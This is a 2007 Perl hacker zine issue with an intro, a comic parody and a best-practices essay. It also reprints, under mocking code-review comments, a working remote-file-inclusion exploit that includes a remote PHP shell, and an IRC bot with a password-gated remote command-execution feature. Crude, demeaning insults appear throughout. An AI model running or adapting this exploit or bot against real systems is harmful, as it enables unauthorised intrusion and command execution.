· 9 years ago · Oct 10, 2016, 07:42 PM
1 $$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$
2 $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$
3 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
4 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
5 $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
6 $$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$
7 $$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$
8 $$$$ $$$$ $$$$ $$$$ $$$$
9 $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
10 $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
11
12
13 $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$
14 $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$
15 $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
16 $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
17 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
18 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$
19 $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
20 $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
21 $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
22 $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
23
24
25 $$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
26 $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$
27 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
28 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
29 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
30 $$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
31 $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$
32 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
33 $$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$$
34 $$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
35
36 $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$
37 $$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$
38 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
39 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
40 $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
41 $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$
42 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
43 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
44 $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$
45 $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
46
47[root@yourbox.anywhere]$ date
48Mon Feb 26 21:04:21 EST 2007
49
50[root@yourbox.anywhere]$ ls -lt
51total 216
52-rw------- 1 puyou puyou 0 2007-02-26 20:32 TOC
53-rw------- 1 puyou puyou 1368 2007-02-26 20:21 intro.txt
54-rw------- 1 puyou puyou 3476 2007-02-26 18:21 spaceman_spiff.txt
55-rw------- 1 puyou puyou 4787 2007-02-26 18:20 kiddie.txt
56-rw------- 1 puyou puyou 7672 2007-02-26 18:20 merlyn.txt
57-rw------- 1 puyou puyou 478 2007-02-26 18:20 noob.txt
58-rw------- 1 puyou puyou 24921 2007-02-26 18:19 preddy.txt
59-rw------- 1 puyou puyou 1707 2007-02-26 18:19 vipul.txt
60-rw------- 1 puyou puyou 1571 2007-02-26 18:19 cpanel.txt
61-rw------- 1 puyou puyou 17138 2007-02-26 18:19 regex.txt
62-rw------- 1 puyou puyou 11384 2007-02-26 18:17 2600.txt
63-rw------- 1 puyou puyou 897 2007-02-26 18:15 saltmarsh.txt
64-rw------- 1 puyou puyou 3636 2007-02-26 18:14 perl6.txt
65-rw------- 1 puyou puyou 5326 2007-02-26 18:12 foster_and_burnett.txt
66-rw------- 1 puyou puyou 3072 2007-02-26 18:12 jon_erickson.txt
67-rw------- 1 puyou puyou 26922 2007-02-26 18:12 mjd.txt
68-rw------- 1 puyou puyou 3768 2007-02-26 18:12 napta.txt
69-rw------- 1 puyou puyou 28681 2007-02-26 18:12 p5p.txt
70-rw------- 1 puyou puyou 5242 2007-02-26 18:12 nasti.txt
71-rw------- 1 puyou puyou 657 2007-02-26 18:11 egomaniac.txt
72-rw------- 1 puyou puyou 4233 2007-02-26 18:10 cirt.dk.txt
73-rw------- 1 puyou puyou 979 2007-02-26 18:08 str0ke.txt
74-rw------- 1 puyou puyou 715 2007-02-26 18:07 ownedbypu.txt
75-rw------- 1 puyou puyou 1359 2007-02-26 18:05 outr0.txt
76
77
78~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
79-rw------- 1 puyou puyou 1368 2007-02-26 20:21 rant/intro.txt
80~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
81
82Welcome to Perl Underground 4. Despite consideration of options, this is much like the other Perl
83Underground zines. Despite not doing so in the previous editions, I would like to expose a few of
84the artistic choices that went into the making of this one.
85
86In the past, particularly in PU and PU2, we went right after a lot of big names. We clearly
87established that we would go after anybody, no matter how much we respect them or to what degree
88they write good code. In this zine, there are far fewer celebrities. Targets were chosen on a merit
89basis. We focus on some very bad code, but also on some code that is merely creative in the ways
90that it is bad. Do not worry, we still have a little poke at str0ke.
91
92Our previous editions focused on older quality articles from legendary gurus, in a way to fill many
93of our readers in on a missed heritage. PU4 is more contemporary. There are few "School You"
94articles, but some of them are very new. Hopefully they give a diverse picture of the current Perl
95world.
96
97As for the creative writing pieces that I chose to title as "rants" based on the nature of the very
98first of them, I think they have enough funny parts, and a few easter eggs. A prize to anyone who
99can figure out where saltmarsh.txt comes from. Bonus points for class if you knew it originally.
100
101Thank you for your attention, and please enjoy the publication.
102
103
104~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
105-rw------- 1 puyou puyou 3476 2007-02-26 16:07 rant/spaceman_spiff.txt
106~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
107
108
109< If you're going to tear around with a squirt gun, do it outside! >
110
111A dreaded Naggon mother ship fires a bolt of deadly destructo ray that sends a small, red
112spacecraft reeling towards an unknown planet! Inside that spacecraft is our hero, the intrepid...
113
114[ Perl Underground is proud to present ]
115
116 :::::::: ::::::::: ::: :::::::: :::::::::: ::: ::: ::: :::: :::
117 :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+:+: :+: :+: :+:+: :+:
118 +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ :+:+:+ +:+
119 +#++:++#++ +#++:++#+ +#++:++#++: +#+ +#++:++# +#+ +:+ +#+ +#++:++#++: +#+ +:+ +#+
120 +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+#
121#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#+#
122######## ### ### ### ######## ########## ### ### ### ### ### ####
123
124 :::::::: ::::::::: ::::::::::: :::::::::: :::::::::: INTERPLANETARY
125 :+: :+: :+: :+: :+: :+: :+: EXPLORER
126 +:+ +:+ +:+ +:+ +:+ +:+ EXTRAORDINAIRE
127 +#++:++#++ +#++:++#+ +#+ :#::+::# :#::+::#
128 +#+ +#+ +#+ +#+ +#+
129#+# #+# #+# #+# #+# #+#
130######## ### ########### ### ###
131
132
133
134Our hero wrestles the controls, but the altituditron refuses to respond!
135
136With ever increasing velocity, Spiff roars to his doom!
137
138Spiff's only hope is to attempt a thousand mile-an-hour landing!
139
140Our hero lowers the landing gear and levels out! WILL HE MAKE IT??
141
142< hmph. >
143
144YES! The incredible Spaceman Spiff survives! Dazed, but unhurt, our hero crawls from the smoldering
145wreckage!
146
147Spiff sets off across the planet surface. An ominous, shadowy figure flits across a nearby hilltop!
148An alien!
149
150Our hero darts behind a rock and sets his zorcher on "shake and bake." The alien approaches!
151
152< Hi Calvin! I see you, so you can stop hiding now! Are you playing cowboys or something? Can I
153play too? >
154
155It's a loathesome bat-webbed booger being... A repulsive leech-like creature that attaches itself
156to you and never lets you alone until you're dead!!
157
158Our hero springs into action! KISS YOUR PROTONS GOODBYE, BOOGER BEING!!
159
160Spiff fires repeatedly... But to his great surprise and horror, the zorch charge is absorbed by the
161booger being with no ill effect! Instead, the monster only becomes angry!
162
163< Why'd you do THAT, you mean little creep?!? I'm telling your mom!! >
164< uh oh. >
165
166ZOUNDS! The booger being is in alliance with the naggon mother ship that shot spiff down in the
167first place! Our hero opts for a speedy getaway!
168
169At the booger being's distress signal, a gigantic naggon materializes on the planet surface!
170
171With a ground-shaking lunge, the naggon is after Spaceman Spiff!
172
173Our hero leaps into a crevice! Knowing his zorcher would be useless against the behemoth, Spiff
174arms the demise-o bomb he keeps in his belt for such an emergency!
175
176The naggon rounds the corner! Spiff heaves the bomb!
177
178< Ha ha! Death to naggons! >
179< Calvin, don't you dare throw that.. >
180
181The monster is only stunned! Spiff quickly tries to arm another bomb!
182
183It's too late! The naggon has him! What will happen NOW??
184
185< Hi honey, I'm home! Boy, what a day at the off.. >
186< ..Uh, what's with the towels... Or don't I want to know? >
187< Your son is in his room, waiting for you to have a talk with him. >
188
189In the smelly, gloomy dungeon, Spaceman Spiff prepares a cunning trap for the approaching naggon
190king! Soon our fearless hero will be free again!
191
192
193~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
194-rw------- 1 puyou puyou 4787 2007-02-26 18:20 laugh/kiddie.txt
195~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
196
197<Hobbes> Croquet is a gentleman's game.
198
199#!/usr/bin/perl
200#yaplap Remote File Inclusion Vulnerablity
201#Version 0.6 & 0.6.1
202#Class = Remote File Inclusion
203#Bug Found & Exploit [c]oded By DeltahackingTEAM (Dr.Trojan&Dr.Pantagon)
204#Download:http://osdn.dl.sourceforge.net/sourceforge/yaplap/yaplap-0.6.1.tar.gz
205#Vulnerable Code:include $LOGIN_style."_form.php";
206#[Path]/Index.php?site_main_path=
207#Exploit: ldap.php?LOGIN_style=[shell]
208# FUCK Your Mother &Your SisTer=>>> z_zer0c00l
209
210# ^^^^^^^^^^^^^ script kiddie nonsense
211
212use LWP::UserAgent;
213
214# ^^ good thing you did not include strict or warnings .. did not figure you would seeing as you can not code
215
216$target=@ARGV[0];
217# usg() unless my ($target) = shift =~ m!^(http://[^\n]+)!;
218
219$shellsite=@ARGV[1];
220# usg() unless my ($shellsite) = shift =~ m!^(http://[^\n]+)!;
221
222$cmdv=@ARGV[2];
223#$cmdv = shift || usage();
224
225if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
226 # stabbing my eyes with toothpicks and ugly regexs!
227 # you do not even check where the http:// is try using ^
228{
229 usg()
230}
231header();
232
233# my ($cmd);
234
235# LEARN TO INDENT CODE YOU DO HAVE A TAB KEY RIGHT!!!!!!!!!!
236
237while()
238{
239print "[Shell] \$";
240while (<STDIN>)
241{
242 $cmd=$_;
243 chomp($cmd);
244# ^ that is disgusting try this:
245# while(chomp($cmd = <STDIN>))
246
247$xpl = LWP::UserAgent->new() or die;
248$req = HTTP::Request->new(GET=>$target.'ldap.php?LOGIN_style='.$shellsite='.?&'
249.$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n";
250# $req = HTTP::Request->new(GET=>"$targetldap.php?LOGIN_style=$shellsite=?&$cmdv=$cmd")
251# or die "\n\n Failed to Connect, Try again!\n";
252
253$res = $xpl->request($req);
254$info = $res->content;
255$info =~ tr/[\n]/[ê]/;
256# do you even know what this means?
257
258if (!$cmd) {
259print "\nEnter a Command\n\n"; $info ="";
260}
261
262# why all this print and unsetting a variable?
263# try:
264# next if (!$cmd);
265
266elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
267Cannot execute a blank command in <b>/)
268{
269print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
270exit;
271}
272
273# die("\nCould Not Connect to cmd Host or Invalid Command Variable\n") if
274# ($info =~/failed to open stream: HTTP request failed!/ ||
275# $info =~/:Cannot execute a blank command in <b>/);
276
277elsif ($info =~/^<br.\/>.<b>Warning/) {
278print "\nInvalid Command\n\n";
279};
280
281# die("...") if ($info =~/^<br.\/>.<b>Warning/);
282
283if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
284# this is pretty funny that you capture two strings and only use one.
285# showing again that you dont know how to code but instead copy paste
286# also what is the point of <br.\/>? were you trying to match <br >?
287# they have this thing called "\s" it stands for "space"
288# not that you would know for reasons mentioned before.
289# also why do you have Warning.(.+) ? did you mean to escape the special
290# character "."? Do you even know what escaping is.......
291# How about:
292# if($final = $info =~ /(.+)<br\s\/>.<b>Warning\..+<br\s\/>.<b>Warning/){
293 print "$final\n";
294 last;
295# ^ SEE THE TAB MAKES YOUR CODE READABLE NOT LIKE ANYONE USES YOUR BULLSHIT ANYWAY
296 }
297
298
299
300{
301$final = $1;
302$final=~ tr/[ê]/[\n]/;
303print "\n$final\n";
304last;
305}
306
307# ^^ /me throws up
308
309# since we exit after every case here and dont have your ugly
310# if-else-block we can just print "[shell] \$";
311
312else {
313print "[shell] \$";
314} # You
315} # fail
316} # at
317last; # life
318
319
320sub header()
321{
322print q{
323*******************************************************************************
324 ***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)***
325
326Vulnerablity found By: DeltahackingTEAM
327
328Exploit [c]oded By: Dr.Trojan
329
330Dr.Trojan,HIV++,D_7j,Lord,VPc,Tanha,Dr.Pantagon
331
332http://advistory.deltasecurity.ir
333
334We Server(99/999% Secure) <<<<<www.takserver.ir>>>>>
335
336Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat
337******************************************************************************
338}
339# ^ L1k3 OMg i n3v3r heard of tab and im so l33t
340# my name is dr. trojan i R master of t3h sub 7
341# 0nly bl4ckh4t em4ilz so w3 can r3l34s3 0day w4r3z like the true blackhats h0h0h0h0h0
342# catch us on zone-h.org http://www.zone-h.org/component/option,com_attacks/Itemid,43/filter_defacer,DeltahackingSecurityTEAM/
343# we w1ll 0wn your phpbb board ph33r us!@#!@#!@#@!#!@#!@
344
345
346}
347sub usg()
348{
349header();
350print q{
351Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd]
352[yaplap FULL PATH] - Path to site exp. www.site.com
353[shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif
354[shell Cmd Variable] - Command variable for php shell
355Example: perl delta.pl http://www.site.com/[yaplap]/
356********************************************************************************
357};
358
359exit();
360}
361
362
363# found at: http://milw0rm.com/exploits/2930
364# took me three bottles of jack and an iranian slut to finish this code but im done
365# back to the physch ward after this one
366
367
368~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
369-rw------- 1 puyou puyou 7672 2007-02-26 18:20 school/merlyn.txt
370~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
371
372[suggested title: ``Practicing Best Perl'']
373
374Roughly a year ago, my friend Damian Conway published a hefty tome called Perl Best Practices. He
375managed to gather 256 strongly suggested ideas and behaviors that had made his Perl hacking more
376successful for him and his customers over the years. As a reviewer on the book, I was happy enough
377with what I had seen to provide a quote which was eventually selected for the back cover:
378
379As a manager of a large Perl project, I'd ensure that every member of my team has a copy of Perl
380Best Practices on their desk, and use it as the basis for an in-house guide.
381
382A year later, looking back, I'm still happy with what I've seen, including how some of my clients
383have taken my advice to heart. While I don't intend for this column to be a book review, I wanted
384to provide some context for the rest of what I have to say this time around.
385
386I've been writing computer programs for over 35 years, including 25 years of doing that and getting
387paid for it. One of the hardest things to convey in little snippets of code and random Perlmonks
388posting is the larger picture of ``don't do this because I got burned doing that a long time ago''.
389Apparently, the young'uns these days just want to get something hacked out, or figure that their
390problem is just completely unique and some advice I may be able to dish out in a one-liner can't
391possibly apply to them.
392
393Or they think they know better. That's fine. We need the enthusiasm of the unscarred youth to
394explore new and better spaces. But time-after-time, many of them come to realize that maybe the old
395grey-beards actually had some sane thing to say about their task.
396
397For example, a frequent request comes along on how to have a variable name contain all or part of
398another variable name. In Perl, we can certainly accomodate access to the package variables using
399symbolic references, and (with some difficulty) the lexicals with a well-formed eval-string
400operation.
401
402But the caveat I include (with either my own posting, or as a footnote to someone else's
403unqualified answer) is don't do that. To many people asking the question, it's often a puzzling
404response, because they see me giving, and yet taking away, in the same answer. My fear, of course,
405is that they listen to the ``how'' and completely ignore the ``why not'', and run off to write code
406that will be unmaintainable and possibly expose some security holes.
407
408But this is the difference between knowing how to code in Perl, and knowing the best way to code in
409Perl. I know from my years of practice that code that blurs data and variable names will be hard to
410maintain, and prone to problems. But I have to convey that in a way that seems more about intuition
411than by reeling off all those moments in the past that give the basis of my conclusions.
412
413Naturally, the ``Yeah, but there's more than one way to do it'' war chant is often returned, but I
414think that's misunderstanding what Larry Wall means as he says that. Larry wants Perl to have the
415power of expression to suit the coder and situtation, including perhaps having multiple ways to say
416the same thing to emphasize various aspects. He doesn't intend the phrase to imply ``... and all
417ways are equally valid and suitable for every occasion''.
418
419This is where Damian Conway's book comes in to play. Damian has helped sort out the things that
420most Perl experts agree are more likely to produce better code faster and easier, narrowing down
421the many ways to do things into the ways people seem to get more things done. And although some of
422the things might be considered arbitrary, or perhaps even controversial, Damian makes strong
423arguments for each item, so even if you disagree, you can say, ``Hey, he's got a good point here.''
424
425To illustrate my point, let's look at a few of Damian's ``Best Practices'', albeit illustrated with
426my own examples when I think of them.
427
428For example, in Chapter Two, we see ``Never place two statements on the same line''. Sure, it
429sounds simple. But there are some important implications of this advice.
430
431First, a statement in Perl is a logical step: the kind of thing that you'd want to add, remove,
432cut, or paste. If you have two statements on a line, it's harder to edit your program to have more
433steps.
434
435But more importantly perhaps, the Perl debugger can place a breakpoint only on a line-by-line
436basis. So although the second statement might be a logical stopping point during single-stepping or
437code evaluation, having put the statement mid-line, we no longer have that option. While Perl
438normally doesn't care about increased or decreased whitespace, we see an important semantic change
439here by not following this (now hopefully motivated) advice.
440
441When I first read that advice, it sat with me like ``well, of course''. But that's because I had
442already been burned by not being able to set a breakpoint on a mid-line statement, so I carry the
443scar, vowing never to get burned that way again. That's what makes a book like this have a great
444deal of value, giving others the chance to learn from my scars.
445
446The very next advice, ``Code in Paragraphs'', is also something I did quite naturally and
447frequently, which you know if you've been reading my past columns and books. I like to use
448whitespace to create ``paragraphs'' of statements (considering the statement as a ``sentence'').
449For example, in a subroutine call, I place an extra blank line after any code that sorts out the
450initial processing of @_:
451 sub marine {
452 my $wave = shift;
453 my $direction = shift;
454 ... more processing here ...
455 }
456
457The extra blank line gives some ``breathing room'' to the eye, as well as suggest that I'm
458``changing gears'' a bit in the next section. The blank line costs only a single \n character, and
459yet I'm saving a bit of time for everyone reading the program. In addition to adding these blank
460lines every dozen or fewer code lines, I generally add a topic comment in front of the following
461chunk:
462 ## compute the value
463 ... code here
464 ... to do
465 ... the computation
466 ## copy the data to the cache
467 ... more
468 ... code
469 ## update the cache freshness
470 ... code here
471 ## return the value
472 return $the_value;
473
474Each comment begins with a double-hash ## so that my eye can immediately jump to it, and the
475comment describes the actions taken by the next few lines of code. I rarely write more than one
476line in these comments: consider them a ``headline''.
477
478Again, it's a little thing, but it's amazing how much more readable the code is when you can keep
479doing these ``little things'' consistently.
480
481In chapter 4, I found the advice ``Use named constants, but don't use constant''. I found that
482rather shocking, and initially (mockingly) offensive because the core module constant had been
483written by my fellow Stonehenge employee, Tom Phoenix. However, Damian goes on to describe the much
484more powerful and useful Readonly module (found in the CPAN), of which I had previously been
485unaware. Compare the following with use constant:
486 use constant PI => 3.2;
487 print "In Indiana, Pi might have been @{[PI]}\n";
488
489versus the equivalent with Readonly:
490 use Readonly;
491 Readonly my $PI = 3.2;
492 print "In Indiana, Pi might have been $PI\n";
493
494Yes, the Readonly interface creates actual scalars (rather than subroutines as with use constant),
495which can be much more easily interpolated into strings, used as bareword keys, or even work nicely
496as readonly arrays and hashes.
497
498So, even a beardless Perl ``greybeard'' like me can learn a new trick from a book like Perl Best
499Practices and that's pretty cool. So, I suggest you go out immediately and add this book to your
500shelf (real or virtual), and until next time, enjoy!
501
502
503~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
504-rw------- 1 puyou puyou 478 2007-02-26 18:20 rant/noob.txt
505~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
506
507Dear Perl Underground,
508
509Hi! I really like your zine. It sure was funny how you made fun of those guys. You should make fun
510of more guys. I didn't actually read any of the articles except for the insult parts. I especially
511didn't read the parts written by elite Perl coders trying to educate the ignorant masses of which I
512am a part. In fact, my Perl code is complete shit and yet it hasn't occured to me that I could end
513up in the next PU.
514
515Desperately in Love,
516
517A Stupid Noob
518
519
520~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
521-rw------- 1 puyou puyou 24921 2007-02-26 18:19 laugh/preddy.txt
522~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
523
524<Hobbes> That's a lie! You ALWAYS take the lucky red ball first!
525
526#!/usr/bin/perl
527
528###################################################################################################
529#
530#Ircbot - by Preddy
531#Commands:
532#
533#!bitch (info about the owner of the bot)
534#!crack (to lookup an md5 hash and get the plain text format of it..(3 website's))
535#!md5gen (to generate an md5 hash)
536#!quote (to view a quote from a list of famous computer quotes)
537#!changenick (to change the bot's name to a random name from the list.. Usage: !changenick <pass>)
538#!inject (to inject the user with an injectable object eg: a toothbrush)
539#!proxy (to get a list of proxies from nntime.com)
540#!advisories (to get a list of advisories from secunia.com)
541#!exploits (to get a list of exploits from milw0rm.com)
542#!securitynews (to get the latest securitynews from addict3d.org)
543#!technews (to get the latest technews from addict3d.org)
544#!gewgle (search for something at google)
545#!exec (executes a command,requires the owners password.. usage: !exec <pass> <command>)
546#!suicide (kill the bot..usage: !suicide <pass>
547#!say (Let the bot say a message to the channel..usage: !say <pass> <message>)
548#
549#Other Features:
550#
551#Bot greets with: Good morning sir... (if string: morning is detected)
552#Bot auto-rejoins after a kick with a newly changed name
553#Bot replies to PING requests from the server
554###################################################################################################
555#
556
557# You should use POD. Really. It is so nice, so pretty!
558
559use IO::Socket;
560use Switch;
561use Digest::MD5 qw(md5_hex);
562
563# Switch is lame. Unfortunately Perl 5 does not have a proper switch statement, and for that we
564# apologize. However, Switch sucks.
565
566# Use strict and warnings.
567
568$server = 'ABS.lcirc.net';
569$port = '6667';
570# NO QUOTING
571
572$user = 'P02 P03 P04 :P___';
573# PU4, staring right at you!
574
575$nick = 'P02';
576$chan = '#milw0rm';
577$logfile = 'irc-log.txt';
578$owner = '|Preddy|';
579$pass = 'c02b7d24a066adb747fdeb12deb21bfa'; #penis
580
581# Yes, penis, how amusing. Now make your variables lexical
582# If you are going to bother with minimal password security
583# why not use a password whose hash won't crack quite so quickly?
584
585$con = IO::Socket::INET->new(PeerAddr=>$server,
586 PeerPort=>$port,
587 Proto=>'tcp',
588 Timeout=>'30') || print "Error: Connection\n";
589# $! is a useful variables
590
591print $con "USER $user\r\n";
592print $con "NICK $nick\r\n";
593print $con "JOIN $chan\r\n";
594
595# So is $\
596
597while($answer = <$con>)
598{
599
600
601# Shit this is ugly. All ugly. ALL UGLY
602
603open(LOG,">>$logfile");
604print LOG "$answer";
605close(LOG);
606
607
608#who's yo daddy?
609if($answer =~ m/\!bitch/)
610{
611# You realize that will match !bitch anywhere, not just the beginning of your line?
612# Mistakes can happen!
613# And, escaping not necessary in that circumstance
614
615if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
616{
617$xnick = $1;
618$xident = $2;
619$xhost = $3;
620$xchannel = $4;
621$xtext = $5;
622# holy fuck you line waster
623
624# I'm calling the environment police, you're killing \ns
625
626print $con "privmsg $xchannel :I am tha bitch of $owner..\n";
627
628}
629}
630
631if($answer =~ m/\!suicide/)
632{
633if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
634{
635$xnick = $1;
636$xident = $2;
637$xhost = $3;
638$xchannel = $4;
639$xtext = $5;
640
641@strpart = split(" ",$xtext);
642
643$p = $strpart[1];
644
645$encpw = md5_hex($p);
646 # How about shorter and smarter? my $encpw = md5_hex( (split(' ', $xtext))[1] ); or so?
647
648if($encpw == $pass)
649{
650
651exit;
652
653}
654
655# exit if $encpw == $pass;
656}
657}
658
659if($answer =~ m/\!say/)
660{
661if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
662{
663$xnick = $1;
664$xident = $2;
665$xhost = $3;
666$xchannel = $4;
667$xtext = $5;
668
669@strpart = split(" ",$xtext);
670
671$p = $strpart[1];
672
673$encpw = md5_hex($p);
674
675if($encpw == $pass)
676{
677$msg = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8]
678$strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15]
679$strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22]
680$strpart[23] $strpart[24] $strpart[25]";
681
682# You dumb fuck. How about $msg = join ' ', @strpart;
683
684print $con "privmsg $chan :$msg\n";
685
686}
687}
688}
689
690if($answer =~ m/\!exec/)
691{
692if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
693{
694$xnick = $1;
695$xident = $2;
696$xhost = $3;
697$xchannel = $4;
698$xtext = $5;
699
700@strpart = split(" ",$xtext);
701
702$p = $strpart[1];
703
704$encpw = md5_hex($p);
705
706if($encpw == $pass)
707{
708
709# You really dumb fuck. you split it up there, just to manually output it here
710
711$cmd = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8]
712$strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15]
713$strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22]
714$strpart[23] $strpart[24] $strpart[25]";
715@output = qx($cmd);
716foreach $command (@output)
717{
718print $con "privmsg $xnick :$command\n";
719}
720
721# One line it! Do it!
722}
723}
724}
725
726if($answer =~ m/\!gewgle/)
727{
728if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
729{
730$xnick = $1;
731$xident = $2;
732$xhost = $3;
733$xchannel = $4;
734$xtext = $5;
735
736# Why don't you assign those (properly!) once, earlier in the program,
737# and stop SUCKING for the rest of it?
738
739@words = split(" ",$xtext);
740
741$word = $words[1];
742
743# my $word = (split ' ', $xtext)[1];
744
745$getres =
746IO::Socket::INET->new(PeerAddr=>'64.233.183.104',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print
747"Error: Connection\n";
748
749# Lame quotes. And include $! in your error message.
750
751print $getres "GET /search?num=1&hl=en&lr=lang_en&q=$word&btnG=Search HTTP/1.0\n";
752print $getres "Host: www.google.com\n\n";
753
754# We have modules for this kind of thing. To make sure it goes down right, bitch
755
756print $con "privmsg $xchannel :Word: $word\n";
757
758while($res = <$getres>)
759{
760$res =~ m/<a class=l href="(.*?)">/ && print $con "privmsg $xchannel :Result : $1\n";
761
762}
763}
764}
765
766if($answer =~ m/\!crack/)
767{
768if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/)
769{
770$xnick = $1;
771$xident = $2;
772$xhost = $3;
773$xchannel = $4;
774$xtext = $5;
775
776@parts = split(" ",$xtext);
777
778$hash = $parts[1];
779
780$gethash =
